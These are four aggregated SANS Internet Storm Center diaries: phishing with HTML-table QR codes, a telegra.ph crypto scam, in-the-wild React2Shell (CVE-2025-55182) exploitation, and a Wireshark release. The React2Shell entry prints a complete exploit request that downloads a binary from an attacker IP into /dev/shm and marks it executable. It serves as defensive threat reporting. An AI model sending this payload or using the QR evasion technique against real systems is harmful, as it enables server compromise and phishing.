This post was originally published on this site

Malicious use of QR codes has long been ubiquitous, both in the real world as well as in electronic communication. This is hardly surprising given that a scan of a QR code can lead one to a phishing page as easily as clicking a link in an e-mail.

No more surprising is that vendors of security technologies have, over time, developed mechanisms for detecting and analyzing images containing QR codes that are included in e-mail messages[1,2]. These security mechanisms make QR code-based phishing less viable. However, due to the “cat and mouse” nature of cybersecurity, threat actors continually search for ways of bypassing various security controls, and one technique that can be effective in bypassing QR code detection and analysis in e-mail messages was demonstrated quite well in a recent string of phishing messages which made it into our inbox.

The technique in question is based on the use of imageless QR codes rendered with the help of an HTML table. While it is not new by any stretch[3], it is not too well-known, and I therefore consider it worthy of at least this short post.

Samples of the aforementioned phishing messages I have access to have been sent out between December 22nd and December 26th, and all of them had the same basic layout consisting of only a few lines of text along with the QR code.

Although it looks quite normal (except perhaps for being a little “squished”), the QR code itself was – as we have indicated above – displayed not using an image but rather with the help of an HTML table made up of cells with black and white background colors, as you can see from the following code.

<table role="presentation" border="0" cellpadding="0" cellspacing="0" width="180" height="180" align="center">
	<tr height="4">
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#FFFFFF"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		<td width="4" height="4" bgcolor="#000000"></td>
		...

Links encoded in all QR codes pointed to subdomains of the domain lidoustoo[.]click, and except for the very first sample from December 22nd, which pointed to onedrive[.]lidoustoo[.]click, all the URLs had the following structure:

hxxps[:]//<domain from recipient e-mail><decimal or hexadecimal string>[.]lidoustoo[.]click/<alphanumeric string>/$<recipient e-mail>

While the underlying technique of rendering QR codes using HTML tables is – as we’ve mentioned – not new, its appearance in a real-world phishing campaign is a useful reminder that many defensive controls still implicitly rely on assumptions about how malicious content is represented… And these assumptions might not always be correct.

It is also a good reminder that purely technical security controls can never stop all potentially malicious content – especially content that has a socio-technical dimension – and that even in 2026, we will have to continue improving not just the technical side of security, but also user awareness of current threat landscape.

[1] https://www.proofpoint.com/us/blog/email-and-cloud-threats/malicious-qr-code-detection-takes-giant-leap-forward
[2] https://www.cloudflare.com/learning/security/what-is-quishing/
[3] https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20villages/DEF%20CON%2032%20-%20Adversary%20Vilage%20-%20Melvin%20Langvik%20-%20Evading%20Modern%20Defenses%20When%20Phishing%20with%20Pixels.pdf

———–
Jan Kopriva
LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Introduction

In October 2025, a work colleague documented a cryptocurrency scam using a fake chatbot. After investigating this, I was able to receive messages from the campaign, and these emails have continued to land in my honeypot account since then. This diary documents the cryptocurrency scam campaign as it continues in 2026.

Shown above: My honeypot email inbox with several emails from this cryptocurrency scam campaign.

Details

This campaign promises cash payouts on cryptocurrency that potential victims unknowingly have.

This campaign primarily abuses the minimalist publishing platform telegra[.]ph, which anyone can use to publish a simple web page very quickly. Many of these emails have minimal messaging and contain links to these telegra[.]ph pages.

Shown above: Example of an email from this campaign with link to a telegra[.]ph page.

Shown above: Example of a telegra[.]ph page from this campaign.

This campaign is not limited to abusing telegra[.]ph. Many of these emails contain Google Forms pages that lead to the telegra[.]ph page.

Shown above: Example of a Google Forms email from this campaign.

Shown above: Example of a response from the Google Forms link that leads to a telegra[.]ph page for this campaign.

These telegra[.]ph pages generally lead to the same type of cryptocurrency scam, stating you have over $100K in US dollars worth of Bitcoin from an automated Bitcoin mining cloud platform.

Shown above: Example of a page to begin the cryptocurrency scam.

In November 2025, I posted a video on YouTube, where I went through the website step-by-step, interacting with the fake chatbot to get to the actual scam. The scam involves paying a fee to convert the supposed Bitcoin to US dollars, which potential victims would send to a wallet controlled by the criminals.

Final Words

Many free services are easy to abuse for these types of campaigns. While these emails may seem obviously fake, they continue to be cost-effective for criminals to send, and criminals can easily abuse other services to host everything needed for this scam.

Bradley Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Exploits for React2Shell (CVE-2025-55182) remain active. However, at this point, I would think that any servers vulnerable to the "plain" exploit attempts have already been exploited several times. Here is today's most popular exploit payload:

------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"process.mainModule.require('http').get('http://51.81.104.115/nuts/poop',r=>r.pipe(process.mainModule.require('fs').createWriteStream('/dev/shm/lrt').on('finish',()=>process.mainModule.require('fs').chmodSync('/dev/shm/lrt',0o755))));","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryxtherespoopalloverme
------WebKitFormBoundaryxtherespoopalloverme--

To make the key components more readable:

process.mainModule.require('http').get('http://51.81.104.115/nuts/poop',
r=>r.pipe(process.mainModule.require('fs').
createWriteStream('/dev/shm/lrt').on('finish'

This statement downloads the binary from 51.81.104.115 into a local file, /dev/shm/lrt.

process.mainModule.require('fs').chmodSync('/dev/shm/lrt',0o755))));

And then the script is marked as executable. It is unclear whether the script is explicitly executed. The Virustotal summary is somewhat ambiguous regarding the binary, identifying it as either adware or a miner [1]. Currently, this is the most common exploit variant we see for react2shell. 

Other versions of the exploit use /dev/lrt and /tmp/lrt instead of /dev/shm/lrt to store the malware.

/dev/shm and /dev/tmp are typically world writable and should always work. /dev requires root privileges, and these days it is unlikely for a web application to run as root. One recommendation to harden Linux systems is to create/tmp as its own partition and mark it as "noexec" to prevent it from being used as a scratch space to run exploit code. But this is sometimes tough to implement with "normal" processes running code in /tmp (not pretty, but done ever so often)

[1] https://www.virustotal.com/gui/file/895f8dff9cd26424b691a401c92fa7745e693275c38caf6a6aff277eadf2a70b/detection

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Wireshark release 4.6.2 fixes 2 vulnerabilities and 5 bugs.

The Windows installers now ship with the Visual C++ Redistributable version 14.44.35112. This required a reboot of my laptop.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.